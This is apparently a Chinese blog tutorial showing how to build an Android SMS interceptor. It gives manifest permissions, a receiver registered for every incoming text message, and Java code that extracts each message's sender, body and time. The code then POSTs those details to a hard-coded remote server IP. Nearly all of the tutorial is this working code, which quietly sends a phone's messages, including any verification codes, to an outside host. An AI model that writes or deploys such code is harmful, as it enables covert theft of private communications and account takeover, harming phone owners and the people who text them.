android 使用BroadcastReceiver编写短信

BroadcastReceiver编写短信***步骤:

  1. 第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限  
  2. <uses-permission android:name="android.permission.RECEIVE_SMS"/>  
  3. <uses-permission android:name="android.permission.INTERNET"/>  
  4. 第二步:订阅android系统短信广播,这一步的目的是只有通过订阅广播后,手机收到短信,才知道要执行哪个广播组件。  
  5. <!--  
  6. 系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播意图  
  7. 当发出这个action后,如果与android:name="android.provider.Telephony.SMS_RECEIVED“这个名字相匹配,  
  8. 则会执行MyBroadcast广播组件,MyBroadcast 这个类是继承BroadcastReceiver自己编写的类。->  
  9.     <receiver android:name=".MyBroadcast">  
  10.         <intent-filter>  
  11.              <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
  12.         </intent-filter>  
  13.     </receiver>  
  14. 第三步:继承BroadcastReceiver编写MyBroadcast类,并重写onReceive()方法。  
  15. 通过名称为pdus,就可以从上面的广播意图中获取短信的内容  
  16. public class MyBroadcast extends BroadcastReceiver {  
  17.     @Override  
  18.     public void onReceive(Context context, Intent intent) {  
  19.            
  20.         //得到的是Object 数组 每条短信是以字节数据的形式存放  
  21.             Object[] pduss = (Object[])intent.getExtras().get("pdus");  
  22.             for(Object pdus : pduss){  
  23.                 byte[] pdumessage  = (byte[])pdus;  
  24.                 SmsMessage sms = SmsMessage.createFromPdu(pdumessage);  
  25.                 String phone = sms.getOriginatingAddress();  
  26.                 String content = sms.getMessageBody();  
  27.                 Date  date  =  new Date(sms.getTimestampMillis());  
  28.                 SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
  29.                 String sendtime = sDateFormat.format(date);  
  30.             //将短信放在map容器中  
  31.             Map<String, String> map = new HashMap<String, String>();  
  32.                 map.put("phone",phone);  
  33.                 map.put("content",content);  
  34.                 map.put("sendtime", sendtime);  
  35.                 String path="http://218.67.59.20:8080/test/index.jsp";  
  36.                 try {  
  37.                     //将短信发送到path路径的服务端,在服务端就可以通过参数获取短信内容  
  38.                     SmsToWeb.post(path, map, "UTF-8");  
  39.                 } catch (Exception e) {  
  40.                     // TODO Auto-generated catch block  
  41.                     e.printStackTrace();  
  42.                 }  
  43.             }  
  44.     }  
  45.   
  46. }  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值